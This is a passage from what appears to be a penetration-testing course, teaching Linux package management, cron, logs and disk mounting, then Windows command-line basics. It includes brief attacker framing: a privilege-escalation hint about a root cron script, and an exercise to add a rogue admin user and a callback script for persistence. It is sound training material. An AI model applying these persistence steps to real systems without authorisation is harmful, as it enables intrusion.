APT to install and remove applications, update packages, and even
upgrade the entire system.
There are many advantages to using APT. Put simply, many
applications rely on multiple libraries to function. These
libraries, which are pre-compiled functions, routines, classes,
and so on, can be quite large and are often shared between multiple
applications. For example, if we have version 1.7 of a certain library
installed, but our application requires version 2.0 of that same
library, our application won't function. These relationships can
become increasingly complex and result in what is colloquially known
as dependency hell.[75] The greatest benefit of APT is that
it can recursively satisfy requirements and dependencies, keeping us
out of trouble.
Like any other official program or tool in Linux-based systems, APT
has a manual that we can explore by entering man apt on the
command line.
kali@kali:~$ man apt
APT(8)
NAME
apt - command-line interface
SYNOPSIS
apt [-h] [-o=config_string] [-c=config_file] [-t=target_release] [-a=architecture] {list | search | show | update |
install pkg [{=pkg_version_number | /target_release}]... | remove pkg... | upgrade | full-upgrade | edit-sources |
{-v | --version} | {-h | --help}}
DESCRIPTION
apt provides a high-level commandline interface for the package management system. It is intended as an end user interface and enables
some options better suited for interactive usage by default compared to more specialized APT tools like apt-get(8) and apt-cache(8).
Much like apt itself, its manpage is intended as an end user interface and as such only mentions the most used commands and options
partly to not duplicate information in multiple places and partly to avoid overwhelming readers with a cornucopia of options and
details.
update (apt-get(8))
update is used to download package information from all configured sources. Other commands operate on this data to e.g. perform
package upgrades or search in and display details about all packages available for installation.
upgrade (apt-get(8))
upgrade is used to install available upgrades of all packages currently installed on the system from the sources configured via
sources.list(5). New packages will be installed if required to satisfy dependencies, but existing packages will never be removed. If
an upgrade for a package requires the removal of an installed package the upgrade for this package isn't performed.
Manual page apt(8) line 1 (press h for help or q to quit)
...
Listing 27 - Reading the apt manual
The apt tool has a number of options, arguments, and
functions, but we'll continue by experimenting a bit with the most
common ones.
Information regarding APT packages is cached locally to speed up any
sort of operation that involves querying the APT database. Therefore,
it is always good practice to update the list of available packages,
including information related to their versions, descriptions, etc. We
can do this with the apt update command. We will need to run
this with sudo so that we have the proper permissions.
kali@kali:~$ sudo apt update
[sudo] password for kali:
Hit:1 http://kali.mirror.globo.tech/kali kali-rolling InRelease Reading package lists... Done
Building dependency tree
Reading state information... Done
699 packages can be upgraded. Run 'apt list --upgradable' to see them.
Listing 28 - Using apt update
After the APT database has been updated, we can upgrade the installed
packages and core system to the latest versions using the apt
upgrade command. Again, we have to use sudo for this
operation.
To upgrade a single package, we add the package name
after the apt upgrade command such as apt upgrade
metasploit-framework.
The apt-cache search command displays much of the information
stored in the internal cached package database. For example, let’s
say we would like to install the pure-ftpd application via
APT. The first thing we have to do is to find out whether or not the
application is present in the Kali Linux repositories. To do so, we
pass the search term on the command line.
kali@kali:~$ apt-cache search pure-ftpd
mysqmail-pure-ftpd-logger - real-time logging system in MySQL - Pure-FTPd traffic-logg pure-ftpd - Secure and efficient FTP server
pure-ftpd-common - Pure-FTPd FTP server (Common Files)
pure-ftpd-ldap - Secure and efficient FTP server with LDAP user authentication pure-ftpd-mysql - Secure and efficient FTP server with MySQL user authentication pure-ftpd-postgresql - Secure and efficient FTP server with PostgreSQL user authentica resource-agents - Cluster Resource Agents
Listing 29 - Using apt-cache search
The output indicates that the application is present in the
repository. There are also a few authentication extensions for the
pure-ftpd application that may be installed if needed.
Interestingly, the resource-agents package is showing up in our
search even though its name does not contain the "pure-ftpd" keyword.
This is because apt-cache looks for the requested keyword in the
package's description rather than the package name itself.
To confirm that the resource-agents package description does
contains the "pure-ftpd" keyword, we can pass the package name to
apt show as follows.
kali@kali:~$ apt show resource-agents Package: resource-agents
Version: 1:4.2.0-2
...
Description: Cluster Resource Agents
This package contains cluster resource agents (RAs) compliant with the Open Cluster Framework (OCF) specification, used to interface with various services in a High Availability environment managed by the Pacemaker resource manager.
.
Agents included:
AoEtarget: Manages ATA-over-Ethernet (AoE) target exports AudibleAlarm: Emits audible beeps at a configurable interval ...
NodeUtilization: Node Utilization
Pure-FTPd : Manages a Pure-FTPd FTP server instance
Raid1: Manages Linux software RAID (MD) devices on shared storage
Listing 30 - Using apt show
The output of Listing 30 clarifies why the resource-agents
application was mysteriously showing up in Listing 29.
The apt install command can be used to add a package to
the system by providing the package name. Let’s continue with the
installation of pure-ftpd.
kali@kali:~$ sudo apt install pure-ftpd
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed: pure-ftpd-common
The following NEW packages will be installed: pure-ftpd pure-ftpd-common
0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded. Need to get 309 kB of archives.
After this operation, 880 kB of additional disk space will be used. Do you want to continue? [Y/n] y
Get:1 http://kali.mirror.globo.tech/kali kali-rolling/main amd64 pure-ftpd-common all Get:2 http://kali.mirror.globo.tech/kali kali-rolling/main amd64 pure-ftpd amd64 1.0.4 Fetched 309 kB in 4s (86.4 kB/s)
Preconfiguring packages ...
Listing 31 - Using apt install
Note the confirmation request that happens during this operation.
We can also remove a package with the command apt remove
--purge, which completely removes packages from a Linux-based
system. It is important to note that removing a package with apt
remove removes all package data, but leaves usually small
(modified) user configuration files behind, in case the removal
was accidental. Adding the --purge option removes all
leftovers.
kali@kali:~$ sudo apt remove --purge pure-ftpd
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required: pure-ftpd-common
Use 'sudo apt autoremove' to remove it. The following packages will be REMOVED:
pure-ftpd*
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
After this operation, 581 kB disk space will be freed.
Do you want to continue? [Y/n] y
(Reading database ... 388024 files and directories currently installed.)
Removing pure-ftpd (1.0.47-3) ...
Cannot find cached rlinetd's config files for service ftp, ignoring remove request Processing triggers for man-db (2.8.5-2) ...
(Reading database ... 388011 files and directories currently installed.)
Purging configuration files for pure-ftpd (1.0.47-3) ...
Processing triggers for systemd (240-6) ...
Listing 32 - Using apt remove
Again there is an additional prompt to confirm that we want to remove
pure-ftpd, and then we can to completely delete the
program from our Kali machine.
The apt autoremove command helps with removing package
dependencies that are not needed anymore. This can happen as a result
of installing a package and then removing it, where its dependencies
remain on the system.
dpkg is the core tool used to install a package, either directly
or indirectly through APT. It is also the preferred tool to use when
operating offline, since it does not require an Internet connection.
Note that dpkg will not install any dependencies that the package
might require.
To install a package with dpkg, we need to provide the
-i or --install option and the path to the
.deb package file. This assumes that the .deb file
of the package to install has been previously downloaded or obtained
in some other way.
kali@kali:~$ sudo dpkg -i man-db_2.7.0.2-5_amd64.deb
(Reading database ... 86425 files and directories currently installed.)
Preparing to unpack man-db_2.7.0.2-5_amd64.deb ...
Unpacking man-db (2.7.0.2-5) over (2.7.0.2-4) ...
Setting up man-db (2.7.0.2-5) ...
Updating database of manual pages ...
Processing triggers for mime-support (3.58) ...
...
Listing 33 - Using dpkg -i to install the man-db
application
This Learning Unit covers the following Learning Objectives:
The Linux-based job scheduler is known as Cron. Cron makes it
possible to schedule the execution of tasks. These tasks are usually
commands and scripts associated with system maintenance.
Scheduled tasks are listed under the /etc/cron.*
directories, where "*" represents the frequency the task will run
on. For example, tasks that will be run daily can be found under the
/etc/cron.daily directory. Each script is listed in its own
subdirectory.
kali@kali:~$ ls -lah /etc/cron*
-rw-r--r-- 1 root root 1.1K Feb 10 2020 /etc/crontab
/etc/cron.d:
total 36K
drwxr-xr-x 2 root root 4.0K Feb 17 12:56 .
drwxr-xr-x 161 root root 12K Jun 21 16:37 ..
-rw-r--r-- 1 root root 201 Mar 20 2020 e2scrub_all
-rw-r--r-- 1 root root 607 Sep 13 2019 john
-rw-r--r-- 1 root root 712 May 11 2020 php
-rw-r--r-- 1 root root 102 Feb 10 2020 .placeholder
-rw-r--r-- 1 root root 396 Jul 14 2020 sysstat
/etc/cron.daily:
total 64K
drwxr-xr-x 2 root root 4.0K Mar 2 10:56 .
drwxr-xr-x 161 root root 12K Jun 21 16:37 ..
-rwxr-xr-x 1 root root 539 Apr 2 2019 apache2
-rwxr-xr-x 1 root root 1.5K Jul 8 2020 apt-compat
-rwxr-xr-x 1 root root 255 Jun 22 2020 calendar
-rwxr-xr-x 1 root root 157 Dec 13 2017 debtags
-rwxr-xr-x 1 root root 1.3K Jan 26 10:08 dpkg
-rwxr-xr-x 1 root root 377 Apr 8 2020 logrotate
-rwxr-xr-x 1 root root 1.1K Jul 5 2020 man-db
-rwxr-xr-x 1 root root 628 Dec 2 2020 mlocate
-rwxr-xr-x 1 root root 1.4K Mar 10 2020 ntp
-rw-r--r-- 1 root root 102 Feb 10 2020 .placeholder
-rwxr-xr-x 1 root root 383 Jul 4 2020 samba
-rwxr-xr-x 1 root root 518 Aug 27 2020 sysstat
/etc/cron.hourly:
total 20K
drwxr-xr-x 2 root root 4.0K Sep 1 2020 .
drwxr-xr-x 161 root root 12K Jun 21 16:37 ..
-rw-r--r-- 1 root root 102 Feb 10 2020 .placeholder
/etc/cron.monthly:
total 24K
drwxr-xr-x 2 root root 4.0K Sep 1 2020 .
drwxr-xr-x 161 root root 12K Jun 21 16:37 ..
-rw-r--r-- 1 root root 102 Feb 10 2020 .placeholder
-rwxr-xr-x 1 root root 144 Jun 5 2013 rwhod
/etc/cron.weekly:
total 24K
drwxr-xr-x 2 root root 4.0K Mar 2 10:56 .
drwxr-xr-x 161 root root 12K Jun 21 16:37 ..
-rwxr-xr-x 1 root root 813 Jul 5 2020 man-db
-rw-r--r-- 1 root root 102 Feb 10 2020 .placeholder
kali@kali:~$
Listing 34 - Listing all cron jobs on Linux
Reading from the bottom, we note that man-db runs weekly and rwhod
runs monthly. There are no programs that run hourly, but there are
quite a few tasks scheduled to run daily.
It is worth noting that system administrators often add their own
scheduled tasks in the /etc/crontab file. These tasks should
be inspected carefully[76] for insecure file permissions
as most jobs in this particular file will run as root.
kali@kali:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
5 0 * * * root /var/scripts/user_backups.sh
#
kali@kali:~$
Listing 35 - Reading /etc/crontab
Listing 35 reveals a backup script running as root.
If this file has weak permissions, we may be able to leverage this to
escalate our privileges.
This Learning Unit covers the following Learning Objectives:
As an information security professional, it is important to be
familiar with where and how logs are stored. In response to a security
breach, we can use logs to reconstruct events and understand what
happened and when.
Perhaps as an indication of how important these log files are, many
of them cannot be read without root permissions. As a result, when
interacting with these files, we will often need to use sudo.
Most Unix-like systems, as well as services running on them, produce
logs within the /var/log directory.
kali@kali:~$ ls -l /var/log
total 2544
-rw-r--r-- 1 root root 2911 Jul 7 08:33 alternatives.log
drwxr-x--- 2 root adm 4096 Jun 23 15:04 apache2
drwxr-xr-x 2 root root 4096 Jul 7 08:31 apt
-rw-r----- 1 root adm 5444 Jul 7 13:39 auth.log
-rw------- 1 root root 0 Jun 25 14:39 boot.log
-rw-rw---- 1 root utmp 0 Jul 7 08:25 btmp
-rw-r----- 1 root adm 41195 Jul 7 13:39 daemon.log
-rw-r----- 1 root adm 1157 Jul 7 08:40 debug
-rw-r--r-- 1 root root 156531 Jul 7 08:34 dpkg.log
-rw-r--r-- 1 root root 32032 Jun 23 15:07 faillog
-rw-r--r-- 1 root root 5692 Jun 23 15:05 fontconfig.log
...
Listing 36 - Reviewing our list of log files
Many of these logs are plain text files and can be read with any
application able to display the contents of a file. We'll use the
tail command to show the three most recent additions to
auth.log, a log file that stores all authentication attempts.
Since the file is in /var/log/, we'll need to add the
absolute path.
kali@kali:~$ sudo tail -3 /var/log/auth.log
Jul 7 14:01:38 kali sudo: pam_unix(sudo:session): session closed for user root
Jul 7 14:01:48 kali sudo: kali : TTY=pts/0 ; PWD=/home/kali ; USER=root ; COMMAND=/usr/bin/tail -3 /var/log/auth.log
Jul 7 14:01:48 kali sudo: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
Listing 37 - Reading the last few lines of auth.log
Since we ran this command with sudo, we can observe the
authentication that occurred when we ran the command in the log
itself.
There are also log files that store information in a special
structure. One example of a log file with a special structure is
/var/log/wtmp,[77] which keeps a record about all login,
logout, and runlevel[78] change events. This file can be
processed by the last[79] and who[80] commands,
for example.
Since the wtmp log file can become quite long, we'll pipe the
output to tail -5 and only read the last five entries.
kali@kali:~$ who /var/log/wtmp | tail -5
robert tty7 2021-07-03 09:46 (:0)
nichole tty7 2021-07-03 11:53 (:0)
kali tty7 2021-07-06 08:04 (:0)
robert tty7 2021-07-06 15:09 (:0)
kali tty7 2021-07-07 14:03 (:0)
Listing 38 - checking who has logged in to this machine
This log shows several users, including our kali user, logging in to
the computer for several days.
In addition to the logs we've reviewed already, we can also find logs
for other types of events. For example, the kernel emits messages
that it stores in a ring buffer whenever something interesting
happens (such as a new USB device being inserted, a failing hard disk
operation, or initial hardware detection on boot). We can retrieve the
kernel logs with the dmesg command.
Finally, systemd also stores multiple logs (stdout/stderr output
of services, syslog messages, kernel logs) and makes it easy to query
them with journalctl.
Without any arguments, journalctl will dump all the available
logs chronologically. With the -r option, it will reverse
the order so that newer messages are shown first. With the -f
option, journalctl will continuously print new log entries as
they are appended to its database. Finally, the -u option can
limit the messages to those emitted by a specific systemd unit. For
example, we could dump available logs pertaining to ssh.service with
journalctl -u ssh.service.
Logs are also an excellent troubleshooting tool. When some command
or action fails, logs can help us understand why the unexpected
phenomenon is happening.
During the following exercises we are going to get familiar with the
above mentioned tools. Some exercises might depends on an additional
options. The available options and their descriptions can be displayed
by providing the --help option to the command.
This Learning Unit covers the following Learning Objectives:
The most prevalent tools to interact with disks and filesystems
are free, dd, du, df, and
mount.
The free command displays information on memory. We can use
either the -m or -g options, to display the data in
mebibytes or in gibibytes,[81] respectively.
kal@kali:~$ free -m
total used free shared buff/cache available
Mem: 1982 425 269 3 1287 1369
Swap: 974 15 959
Listing 39 - Using the free command to check information on memory
df[82] (which stands for "disk free") reports on the
available disk space on each of the disks mounted in the file system.
Its -h option (for human readable) converts the sizes into a
more legible unit - usually mebibytes or gibibytes.
kali@kali:~$ df -h
Filesystem Size Used Avail Use% Mounted on
udev 958M 0 958M 0% /dev
tmpfs 199M 1.2M 198M 1% /run
/dev/sda1 19G 10G 7.7G 57% /
tmpfs 992M 8.0K 992M 1% /dev/shm
tmpfs 5.0M 0 5.0M 0% /run/lock
tmpfs 199M 68K 199M 1% /run/user/1000
Listing 40 - Using the df command to check disk space
There are a few other commands and options we can use as well.
One of the key differences between Linux and other OSs, is that in
Linux we have to mount a filesystem before we can use it. Since
Linux systems have a single directory tree, if we were to insert a USB
drive (for example), we would need to create an associated location
somewhere in that tree. Creating that associated location is called
mounting.
The mount[85] command can be used to display the currently
mounted filesystems and their types. It can also be used to mount
partitions or image disk files to a mount point.
Let's run the mount command with the -t option
to show a certain type of mounted filesystem. In this case, we'll
display the partitions formatted as ext4, which is the journaling file
system[86] for this machine.
kali@kali:~$ mount -t ext4
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro)
kali@kali:~$
Listing 41 - Using the mount command to display a mounted filesystem
Let's take this a step further and mount a USB drive. Since this
example involves a physical object in the form of a USB drive,
following along in this section may not be as straightforward as it is
in other sections of this Module.
Once we've inserted the USB drive, we'll need to run fdisk
with sudo privileges to gain some information about the drive
we just inserted.
kali@kali:~$ sudo fdisk -l
[sudo] password for kali:
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xb31f280c
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 39942143 39940096 19G 83 Linux
/dev/sda2 39944190 41940991 1996802 975M 5 Extended
/dev/sda5 39944192 41940991 1996800 975M 82 Linux swap / Solaris
Disk /dev/sdb : 980 MiB, 1027604480 bytes, 2007040 sectors
Disk model: TD Classic 003C
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5381b121
Device Boot Start End Sectors Size Id Type
/dev/sdb1 * 32 2007039 2007008 980M b W95 FAT32
Listing 42 - Using fdisk to gain details about our USB drive.
The first part of the output, with 20 GiB of memory, is our local
machine. We also observe another disk listed here with 980 MiB of
memory. This is our USB drive. We'll also note the device location,
which is /dev/sdb1. This will come in handy later.
To continue, let's create a directory. It's common to use the
already existing /mnt directory for this, so we'll create a
subdirectory called /usb. Next, we'll run the mount
command and provide the location of the device as well as the
associated location on our directory tree. We can get the location
of the device, /dev/sdb1, from the output in Listing
42.
kali@kali:~$ sudo mkdir /mnt/usb
kali@kali:~$ sudo mount /dev/sdb1 /mnt/usb
kali@kali:~$ cd /mnt/usb
kali@kali:/mnt/usb$ ls -la
total 2100
drwxr-xr-x 3 root root 4096 Dec 31 1969 .
drwxr-xr-x 3 root root 4096 Jul 8 11:12 ..
-rwxr-xr-x 1 root root 817959 Feb 16 10:45 IMG_3396.jpg
-rwxr-xr-x 1 root root 739123 Feb 16 10:45 IMG_3794.jpg
-rwxr-xr-x 1 root root 426757 Feb 16 10:45 IMG_5042.jpg
-rwxr-xr-x 1 root root 130553 Feb 18 2019 Info.hex
Listing 43 - Mounting the USB drive and checking its contents
We successfully mounted our USB drive and once we navigate to the
location in the directory tree, we can check the contents of the
drive. The drive appears to be a series of pictures and an interesting
looking Info.hex file.
Finally, let's unmount the drive. Note that if we try to
unmount it from our current location, we'll run into an
error. We can quickly resolve this by changing directories and running
the command again.
kali@kali:/mnt/usb$ sudo umount /mnt/usb
umount: /mnt/usb: target is busy .
kali@kali:/mnt/usb$ cd ~
kali@kali:~$ sudo umount /mnt/usb
kali@kali:~$
Listing 44 - Unmounting the USB drive.
The command runs successfully and our USB drive is unmounted.
This Learning Unit has the following Learning Objectives:
This is a cumulative exercise that requires you to employ the
understanding and skills you have gained in the Linux Basics I & II
Modules to complete a set of objectives.
Scenario: You have gained initial access to a target Linux machine
during a penetration test. You now need to search for user files to
find anything that might help you gain additional access. Once you've
done this, you will need create an additional administrative user and
schedule a periodic backup callback script in case you lose access to
the machine.
In this Topic, we will cover the following Learning Units:
Each learner moves at their own pace, but this Topic should take
approximately 8 hours to complete.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 45 minutes.
The Microsoft Windows Operating System, colloquially known as
Windows, is a family of Operating Systems developed by Microsoft
Corporation.
Windows is ubiquitous in the personal computer space and is also
often deployed on an enterprise scale both as both a desktop and
a server side OS. Understanding the inner workings of Windows is
essential for anyone interested in defending or attacking networks,
because it is very likely that Windows systems will be involved.
As attackers, we often find ourselves with low level privilege
access to a Windows host, and need to use it to obtain higher
privileges or further infiltrate the network. This is one of
many reasons it is essential to understand the basics of how to
administer a Windows system.
Many security professionals are more familiar with Linux because
several of its features make it ideal for security assessments and
operations. Due to Linux's common usage in the security space, it
will be helpful to begin our Windows exploration by comparing the two
operating systems.
There are many differences[87] between Linux and
Windows, and here we only cover them at a very high level.
Open Source vs Closed Source - Perhaps the most important
difference between the two operating systems is that Linux is entirely
open-source, meaning anyone can see exactly what code makes it up.
Windows, on the other hand, is corporately owned and its source code
is closed, and only open to Microsoft developers and staff.
Free vs Paid - Linux, in general, is free. There are some
exceptions, for example, organizations that offer enterprise products
for a fee, like Red Hat.[88] For the most part though,
Linux distributions are created for non-profit. All of Windows OS are
paid products.
Decentralized vs Centralized Authorship - While the Linux kernel
is considered to be a benevolent dictatorship,[89] many
distributions are built way of crowdsourcing and common effort. Anyone
can make a merge request[90] to many of the Linux
distributions, including Kali Linux.[91]
Windows is entirely centralized under Microsoft. While many of their
developers may contribute to the platform, ultimately Microsoft, as an
organization, gets the final say on what features get development time
and which bugs get fixed.
Root vs Administrator - As demonstrated in the Linux Basics
Topics, the highest-permission account on a Linux system is root,
and has complete control over the machine.
On Windows, the Administrator account belongs to the user with the
highest permissions. However, many Windows processes that require
elevated permissions run under the context of a non-user account
called NT AUTHORITY\SYSTEM. As attackers, we would be equally
satisfied with remote access to Administrator or System accounts.
File Systems - With Linux, every object on the computer is
considered a file, and each file sits within a single hierarchical
directory structure where the root directory (/) is
the base of the hierarchy. When an external piece of hardware is
attached to the system, it is treated just like any other file. In
this context, printers are "files", USB sticks are "files", and even
external hard drives are just "files".
Windows uses the concepts of drives[92] and
devices.[93] Drives begin with a letter like "C:" or
"D:". Each drive can contain its own hierarchy of files, devices, and
directories. By default, the C: drive is the primary partition and
stores the operating system itself as well as all system files and
applications. When an external piece of hardware is attached to the
system, it is given its own new drive letter and is referred to as a
device.
Paths and Capitalization - Linux directories are denoted with
forward slashes (/). For example, /etc/passwd,
represents the passwd file in the etc folder.
Linux filenames are case sensitive, so /etc/passwd and
/etc/PASSWD would refer to different files.
Windows uses backslashes (\) to separate directories,
like C:\Windows\System32. Windows filenames are
not case sensitive, so C:\Windows\System32 and
C:\Windows\SYSTEM32 would refer to the same file.
/etc config vs Registry - Linux splits up where it stores
information related to applications and its kernel in the
/etc and /proc directories respectively. Windows
manages both application and system configurations centrally in the
Windows Registry.
CLI vs GUI design first - In general, most Linux distributions
prioritize the command line interface. This is one of the reasons
why it is the preferred OS of many security professionals. Windows is
designed primarily for the GUI user, which is why it is so often found
in enterprise environments.
Optimization vs Compatibility - Finally, Linux developers tend
to build their specific distributions in ways that optimize for the
purpose of that distribution. For example, Kali Linux is optimized for
penetration testing and other security tasks, so its developers focus
on that domain.
Windows is developed with a strong focus on backward compatibility,
as Microsoft does not want to introduce new features that invalidate
or break older versions of the software. Sometimes, backward
compatibility can cause security issues.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 50 minutes to complete.
In this Learning Unit, we'll cover the various Command-Line Interfaces (CLI)
available on Windows and introduce several key commands used to navigate
the system. We'll highlight any significant divergences from their
Linux counterparts.
While Windows may be primarily developed for its Graphical User
Interface (GUI), its command-line interfaces are arguably just
as powerful as those found on Linux. The command-line provides
flexibility, speed, and access to low-level functionality that
is sometimes not readily accessible via the GUI. In addition, in
scenarios when we are acting as an attacker, we might not be able to
get remote GUI access to a Windows target. These are among the many
reasons we need to become comfortable with the command line.
Windows comes with three different command-line interfaces: cmd.exe,
PowerShell, and WMIC. These separate programs are sometimes
incorrectly assumed to be identical, yet there are some important
differences between them.
As a side note, there is a fourth shell that Windows supports and is
a relatively recent addition. It is called the Windows Subsystem for
Linux (WSL),[94] and it allows for a Linux-like environment
within Windows. We won't be covering this particular feature here,
but it is an exciting new component worth keeping an eye on.
The Command Prompt, cmd.exe,[95] is a shell that
contains a defined set of commands that allow users to interact with
Win32[96] objects and applications.
Just like Zsh or Bash, cmd.exe can be used to create
and manipulate files, navigate to directories, and run shell
scripts. On Windows, these scripts are referred to as batch
files.[97]
Although useful, the Command Prompt is limited and cannot access some
of the Windows core system administration functions.
PowerShell[98] is a task automation solution
comprised of a command-line shell, a scripting language, and a
configuration management framework. It is now cross-platform and can
be run on Linux and macOS as PowerShell Core. It is possible to run
all the commands that the Command Prompt supports as well as many
more. It is therefore a far more robust and flexible option for
interacting with the Windows OS.
Windows PowerShell is built on the .NET[99] framework
and employs the use of cmdlets[100] to run administrative
tasks. PowerShell can fully interface with the Component Object
Model (COM)[101] and the Windows Management Instrumentation
(WMI),[102] which gives users the ability to perform
administrative tasks on both local and remote Windows systems.
The command-line component of PowerShell can be started by invoking
the PowerShell.exe binary in a regular Command Prompt window.
The Windows Management Instrumentation Command-Line
(WMIC)[103] utility provides a command-line interface
for Windows Management Instrumentation (WMI). WMI allows scripting
languages like VBScript and PowerShell to manage Windows systems
locally and remotely. It also allows for the sharing of information
between management applications.
In this Topic, we'll be focusing exclusively on the Command Prompt
utility. We'll take a deeper look into PowerShell within the Scripting Basics
topic
Let's begin with an exploration of the cmd.exe builtin commands. A
builtin is a function directly programmed into the shell. Similar to
Bash builtins, Windows cmd.exe has a large number of commands that are
programmed directly into the shell.
The first command to learn is help. When no arguments are provided,
help displays all the other builtin commands.
C:\>help
For more information on a specific command, type HELP command-name
ASSOC Displays or modifies file extension associations.
ATTRIB Displays or changes file attributes.
BREAK Sets or clears extended CTRL+C checking.
BCDEDIT Sets properties in boot database to control boot loading.
...
Listing 1 - Using the help command with no arguments
We can also provide help with the name of a second command as an
argument to obtain its usage information as output.
C:\>help time
Displays or sets the system time.
TIME [/T | time]
Type TIME with no parameters to display the current time setting and a prompt
for a new one. Press ENTER to keep the same time.
If Command Extensions are enabled the TIME command supports
the /T switch which tells the command to just output the
current time, without prompting for a new time.
Listing 2 - Using the help command on time
In this case, the help command gives us an explanation of the
time command, including a few instructions on how we might
use it.
We could also use the /? shortcut to get information about
how to use a command. This is similar to the -h switch for
many Bash commands.
C:\>time /?
Displays or sets the system time.
TIME [/T | time]
Type TIME with no parameters to display the current time setting and a prompt
for a new one. Press ENTER to keep the same time.
If Command Extensions are enabled the TIME command supports
the /T switch which tells the command to just output the
current time, without prompting for a new time.
Listing 3 - Invoking the HELP command on TIME with /?
The information here is identical to the output of help time.
There are too many built-in commands to go over each one, but let's
note a few of the most important for basic navigation, which we'll
explore in more depth later.
| Command | Description |
|---|---|
| cd | Displays the name of or changes the current directory. |
| cls | Clears the screen. |
| cmd | Starts a new instance of the Windows command interpreter. |
| copy | Copies one or more files to another location. |
| del | Deletes one or more files. |
| dir | Displays a list of files and subdirectories in a directory. |
| echo | Displays messages, or turns command echoing on or off. |
| erase | Deletes one or more files. |
| exit | Quits the cmd.exe program (command interpreter). |
| find | Searches for a text string in a file or files. |
| findstr | Searches for strings in files. |
| mkdir | Creates a directory. |
| more | Displays output one screen at a time. |
| move | Moves one or more files from one directory to another directory. |
| ren | Renames a file or files. |
| rmdir | Removes a directory. |
| type | Displays the contents of a text file. |
Table 1 - Built-in commands
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 110 minutes to complete.
Changing directories on Windows is very similar to doing so in Zsh or
Bash. cd changes directories to the target path. In Linux, we can
use cd with no parameters to return to the user's home directory.
cd with the / parameter will return to the root directory of the
machine (not to be confused with the root user's home directory). On
Windows, we can use cd\ or cd/ to return to the root directory of
the current drive:
C:\Windows\Web>cd\
C:\>
Listing 4 - Using cd\ to navigate to C:\
Instead of cat, Windows has type.
C:\Users\Offsec>type file.txt
This is a file on Windows.
Listing 5 - Using the type command
Recall that Windows does not consider filenames to be case sensitive,
so file.txt and FILE.TXT reference the same file.
If there are spaces in a filename, we need to include the contents in
quotes.
C:\Users\Offsec>type "Spaces In Title.txt"
"This file has spaces in its title"
Listing 6 - Using the type command with spaces
The linux ls command displays the contents of the current working
directory. On Windows, we can use the dir command to display
the contents of the current working directory.
Note that unlike its Linux equivalent ls, dir is a builtin command.
ls is not a Bash builtin but is rather a separate binary that lives at
/usr/bin/ls on Kali.
C:\Users>dir
Volume in drive C has no label.
Volume Serial Number is 1234-5678
Directory of C:\Users
05/24/2021 04:53 PM <DIR> .
05/24/2021 04:53 PM <DIR> ..
05/24/2021 04:53 PM <DIR> Offsec
05/24/2021 04:43 PM <DIR> Public
0 File(s) 0 bytes
2 Dir(s) 32,935,755,776 bytes free
Listing 7 - Using the DIR command
We can use the /A option with dir to display hidden
files.
C:\Users>dir /A
Volume in drive C has no label.
Volume Serial Number is 1234-5678
Directory of C:\Users
05/24/2021 04:53 PM <DIR> .
05/24/2021 04:53 PM <DIR> ..
05/24/2021 04:53 PM <SYMLINKD> All Users [C:\ProgramData]
05/24/2021 04:53 PM <DIR> Default
05/24/2021 04:53 PM <JUNCTION> Default User [C:\Users\Default]
05/24/2021 04:53 PM 174 desktop.ini
05/24/2021 04:53 PM <DIR> Offsec
05/24/2021 04:48 PM <DIR> Public
1 File(s) 174 bytes
5 Dir(s) 32,934,400,000 bytes free
C:\Users>
Listing 8 - Using the DIR command
Finally, note that the A key[104] works slightly
different in the Windows terminal compared to many of the Linux
shells. On Windows, A will cycle through a list of
pre-defined options. For example, if we write type f and then
start hitting A, it will cycle through whatever files begin
with the letter f in the current directory.
In this section, we will introduce the default windows directory
structure.[105] As described earlier, the C:\ drive
is the root of the primary partition on Windows.
Typically, C:\ contains the following standard
directories and subdirectories: \,\PerfLogs,
\Program Files, \Program Files (x86),
\ProgramData, \Users, \Windows.
C:\>dir
Volume in drive C has no label.
Volume Serial Number is 523D-9369
Directory of C:\
05/24/2021 04:53 PM <DIR> PerfLogs
05/24/2021 04:53 PM <DIR> Program Files
05/24/2021 04:53 PM <DIR> Program Files (x86)
05/24/2021 04:53 PM <DIR> Users
05/24/2021 04:53 PM <DIR> Windows
1 File(s) 378,568 bytes
5 Dir(s) 32,926,023,680 bytes free
C:\>
Listing 9 - Listing Directories under C:\
\PerfLogs: This directory stores Windows performance logs, but
it is usually empty on a default configuration of Windows.
\Program Files: This directory is found on both 32-bit
and 64-bit versions on Windows. On 32-bit editions, this is the only
Program Files directory available, and it stores 32-bit
programs. On 64-bit versions of Windows, this directory stores 64-bit
programs.
\Program Files (x86): This directory can be found on
64-bit editions of Windows and stores 32-bit versions of programs.
\ProgramData:[106] This is a hidden
directory that contains program data that is expected to be accessed
